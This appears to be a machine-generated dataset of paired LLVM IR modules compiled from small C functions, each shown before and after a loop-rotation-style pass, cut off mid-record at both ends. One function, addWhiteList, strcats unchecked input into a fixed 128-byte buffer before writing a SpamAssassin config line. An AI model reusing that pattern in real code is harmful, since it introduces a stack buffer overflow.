!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmploehm4p6.c'
source_filename = "/tmp/tmploehm4p6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%i \00", align 1
@.str.2 = private unnamed_addr constant [3 x i8] c"%i\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 0, ptr %1, align 4
%5 = call i32 @scanf(ptr noundef @.str, ptr noundef %2)
%6 = call i32 @scanf(ptr noundef @.str, ptr noundef %3)
%7 = load i32, ptr %3, align 4
store i32 %7, ptr %4, align 4
br label %8
8: ; preds = %21, %0
%9 = load i32, ptr %4, align 4
%10 = icmp sge i32 %9, 0
br i1 %10, label %11, label %24
11: ; preds = %8
%12 = load i32, ptr %4, align 4
%13 = call i32 @printf(ptr noundef @.str.1, i32 noundef %12)
%14 = load i32, ptr %4, align 4
%15 = call i64 @palin(i32 noundef %14)
%16 = icmp ne i64 %15, 0
br i1 %16, label %17, label %20
17: ; preds = %11
%18 = load i32, ptr %4, align 4
%19 = call i32 @printf(ptr noundef @.str.2, i32 noundef %18)
br label %24
20: ; preds = %11
br label %21
21: ; preds = %20
%22 = load i32, ptr %4, align 4
%23 = add nsw i32 %22, 1
store i32 %23, ptr %4, align 4
br label %8, !llvm.loop !6
24: ; preds = %17, %8
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
declare i64 @palin(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmploehm4p6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%i \00", align 1
@.str.2 = private unnamed_addr constant [3 x i8] c"%i\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 0, ptr %1, align 4
%5 = call i32 @scanf(ptr noundef @.str, ptr noundef %2)
%6 = call i32 @scanf(ptr noundef @.str, ptr noundef %3)
%7 = load i32, ptr %3, align 4
store i32 %7, ptr %4, align 4
%8 = load i32, ptr %4, align 4
%9 = icmp sge i32 %8, 0
br i1 %9, label %.lr.ph, label %.loopexit
.lr.ph: ; preds = %0
br label %10
10: ; preds = %.lr.ph, %20
%11 = load i32, ptr %4, align 4
%12 = call i32 @printf(ptr noundef @.str.1, i32 noundef %11)
%13 = load i32, ptr %4, align 4
%14 = call i64 @palin(i32 noundef %13)
%15 = icmp ne i64 %14, 0
br i1 %15, label %16, label %19
16: ; preds = %10
%17 = load i32, ptr %4, align 4
%18 = call i32 @printf(ptr noundef @.str.2, i32 noundef %17)
br label %25
19: ; preds = %10
br label %20
20: ; preds = %19
%21 = load i32, ptr %4, align 4
%22 = add nsw i32 %21, 1
store i32 %22, ptr %4, align 4
%23 = load i32, ptr %4, align 4
%24 = icmp sge i32 %23, 0
br i1 %24, label %10, label %..loopexit_crit_edge, !llvm.loop !6
..loopexit_crit_edge: ; preds = %20
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %0
br label %25
25: ; preds = %.loopexit, %16
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
declare i64 @palin(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp48yj2zai.c'
source_filename = "/tmp/tmp48yj2zai.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @gl_getpalettecolors(i32 noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store i32 %1, ptr %5, align 4
store ptr %2, ptr %6, align 8
%12 = load ptr, ptr %6, align 8
store ptr %12, ptr %7, align 8
%13 = load i32, ptr %4, align 4
store i32 %13, ptr %8, align 4
br label %14
14: ; preds = %35, %3
%15 = load i32, ptr %8, align 4
%16 = load i32, ptr %4, align 4
%17 = load i32, ptr %5, align 4
%18 = add nsw i32 %16, %17
%19 = icmp slt i32 %15, %18
br i1 %19, label %20, label %38
20: ; preds = %14
%21 = load i32, ptr %8, align 4
%22 = call i32 @vga_getpalette(i32 noundef %21, ptr noundef %9, ptr noundef %10, ptr noundef %11)
%23 = load i32, ptr %9, align 4
%24 = trunc i32 %23 to i8
%25 = load ptr, ptr %7, align 8
%26 = getelementptr inbounds i8, ptr %25, i32 1
store ptr %26, ptr %7, align 8
store i8 %24, ptr %25, align 1
%27 = load i32, ptr %10, align 4
%28 = trunc i32 %27 to i8
%29 = load ptr, ptr %7, align 8
%30 = getelementptr inbounds i8, ptr %29, i32 1
store ptr %30, ptr %7, align 8
store i8 %28, ptr %29, align 1
%31 = load i32, ptr %11, align 4
%32 = trunc i32 %31 to i8
%33 = load ptr, ptr %7, align 8
%34 = getelementptr inbounds i8, ptr %33, i32 1
store ptr %34, ptr %7, align 8
store i8 %32, ptr %33, align 1
br label %35
35: ; preds = %20
%36 = load i32, ptr %8, align 4
%37 = add nsw i32 %36, 1
store i32 %37, ptr %8, align 4
br label %14, !llvm.loop !6
38: ; preds = %14
ret void
}
declare i32 @vga_getpalette(i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp48yj2zai.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @gl_getpalettecolors(i32 noundef %0, i32 noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store i32 %1, ptr %5, align 4
store ptr %2, ptr %6, align 8
%12 = load ptr, ptr %6, align 8
store ptr %12, ptr %7, align 8
%13 = load i32, ptr %4, align 4
store i32 %13, ptr %8, align 4
%14 = load i32, ptr %8, align 4
%15 = load i32, ptr %4, align 4
%16 = load i32, ptr %5, align 4
%17 = add nsw i32 %15, %16
%18 = icmp slt i32 %14, %17
br i1 %18, label %.lr.ph, label %42
.lr.ph: ; preds = %3
br label %19
19: ; preds = %.lr.ph, %34
%20 = load i32, ptr %8, align 4
%21 = call i32 @vga_getpalette(i32 noundef %20, ptr noundef %9, ptr noundef %10, ptr noundef %11)
%22 = load i32, ptr %9, align 4
%23 = trunc i32 %22 to i8
%24 = load ptr, ptr %7, align 8
%25 = getelementptr inbounds i8, ptr %24, i32 1
store ptr %25, ptr %7, align 8
store i8 %23, ptr %24, align 1
%26 = load i32, ptr %10, align 4
%27 = trunc i32 %26 to i8
%28 = load ptr, ptr %7, align 8
%29 = getelementptr inbounds i8, ptr %28, i32 1
store ptr %29, ptr %7, align 8
store i8 %27, ptr %28, align 1
%30 = load i32, ptr %11, align 4
%31 = trunc i32 %30 to i8
%32 = load ptr, ptr %7, align 8
%33 = getelementptr inbounds i8, ptr %32, i32 1
store ptr %33, ptr %7, align 8
store i8 %31, ptr %32, align 1
br label %34
34: ; preds = %19
%35 = load i32, ptr %8, align 4
%36 = add nsw i32 %35, 1
store i32 %36, ptr %8, align 4
%37 = load i32, ptr %8, align 4
%38 = load i32, ptr %4, align 4
%39 = load i32, ptr %5, align 4
%40 = add nsw i32 %38, %39
%41 = icmp slt i32 %37, %40
br i1 %41, label %19, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %34
br label %42
42: ; preds = %._crit_edge, %3
ret void
}
declare i32 @vga_getpalette(i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmptcj808cm.c'
source_filename = "/tmp/tmptcj808cm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @diga_ola(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
ret ptr null
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmptcj808cm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @diga_ola(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
ret ptr null
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp7zhmbta1.c'
source_filename = "/tmp/tmp7zhmbta1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [7 x i8] c"% .8g\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @printSol(ptr noundef %0, i64 noundef %1, double noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
%7 = alloca double, align 8
store ptr %0, ptr %5, align 8
store i64 %1, ptr %6, align 8
store double %2, ptr %7, align 8
%8 = load ptr, ptr %5, align 8
%9 = load i64, ptr %6, align 8
%10 = load double, ptr %7, align 8
%11 = call i32 @getValue(ptr noundef %8, i64 noundef %9, double noundef %10)
%12 = call i64 @fuzzyEquals(i32 noundef %11, double noundef 0.000000e+00)
%13 = icmp ne i64 %12, 0
br i1 %13, label %14, label %20
14: ; preds = %3
%15 = load double, ptr %7, align 8
%16 = call i64 @printf(ptr noundef @.str, double noundef %15)
%17 = icmp sgt i64 %16, 0
%18 = zext i1 %17 to i64
%19 = select i1 %17, i32 1, i32 0
store i32 %19, ptr %4, align 4
br label %21
20: ; preds = %3
store i32 0, ptr %4, align 4
br label %21
21: ; preds = %20, %14
%22 = load i32, ptr %4, align 4
ret i32 %22
}
declare i64 @fuzzyEquals(i32 noundef, double noundef) #1
declare i32 @getValue(ptr noundef, i64 noundef, double noundef) #1
declare i64 @printf(ptr noundef, double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp7zhmbta1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [7 x i8] c"% .8g\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @printSol(ptr noundef %0, i64 noundef %1, double noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
%7 = alloca double, align 8
store ptr %0, ptr %5, align 8
store i64 %1, ptr %6, align 8
store double %2, ptr %7, align 8
%8 = load ptr, ptr %5, align 8
%9 = load i64, ptr %6, align 8
%10 = load double, ptr %7, align 8
%11 = call i32 @getValue(ptr noundef %8, i64 noundef %9, double noundef %10)
%12 = call i64 @fuzzyEquals(i32 noundef %11, double noundef 0.000000e+00)
%13 = icmp ne i64 %12, 0
br i1 %13, label %14, label %20
14: ; preds = %3
%15 = load double, ptr %7, align 8
%16 = call i64 @printf(ptr noundef @.str, double noundef %15)
%17 = icmp sgt i64 %16, 0
%18 = zext i1 %17 to i64
%19 = select i1 %17, i32 1, i32 0
store i32 %19, ptr %4, align 4
br label %21
20: ; preds = %3
store i32 0, ptr %4, align 4
br label %21
21: ; preds = %20, %14
%22 = load i32, ptr %4, align 4
ret i32 %22
}
declare i64 @fuzzyEquals(i32 noundef, double noundef) #1
declare i32 @getValue(ptr noundef, i64 noundef, double noundef) #1
declare i64 @printf(ptr noundef, double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpw52dffp2.c'
source_filename = "/tmp/tmpw52dffp2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @os_random() #0 {
%1 = call i64 (...) @random()
ret i64 %1
}
declare i64 @random(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpw52dffp2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i64 @os_random() #0 {
%1 = call i64 (...) @random()
ret i64 %1
}
declare i64 @random(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp8bx_yasu.c'
source_filename = "/tmp/tmp8bx_yasu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @test_rr_7_5_5(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%5 = call i32 @test_rr(i32 noundef 7, i32 noundef 5, i32 noundef 5)
ret i32 %5
}
declare i32 @test_rr(i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp8bx_yasu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @test_rr_7_5_5(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%5 = call i32 @test_rr(i32 noundef 7, i32 noundef 5, i32 noundef 5)
ret i32 %5
}
declare i32 @test_rr(i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp4lbx9niv.c'
source_filename = "/tmp/tmp4lbx9niv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp4lbx9niv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpcvi_i_vh.c'
source_filename = "/tmp/tmpcvi_i_vh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.addWhiteList.temp = private unnamed_addr constant [128 x i8] c"whitelist_from \00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00", align 16
@.str = private unnamed_addr constant [32 x i8] c"/etc/mail/spamassassin/local.cf\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @addWhiteList(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca [128 x i8], align 16
store ptr %0, ptr %2, align 8
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %3, ptr align 16 @__const.addWhiteList.temp, i64 128, i1 false)
%4 = getelementptr inbounds [128 x i8], ptr %3, i64 0, i64 0
%5 = load ptr, ptr %2, align 8
%6 = call i32 @strcat(ptr noundef %4, ptr noundef %5)
%7 = getelementptr inbounds [128 x i8], ptr %3, i64 0, i64 0
%8 = call i32 @addConfAtLast(ptr noundef @.str, ptr noundef %7)
ret i32 %8
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @strcat(ptr noundef, ptr noundef) #2
declare i32 @addConfAtLast(ptr noundef, ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpcvi_i_vh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
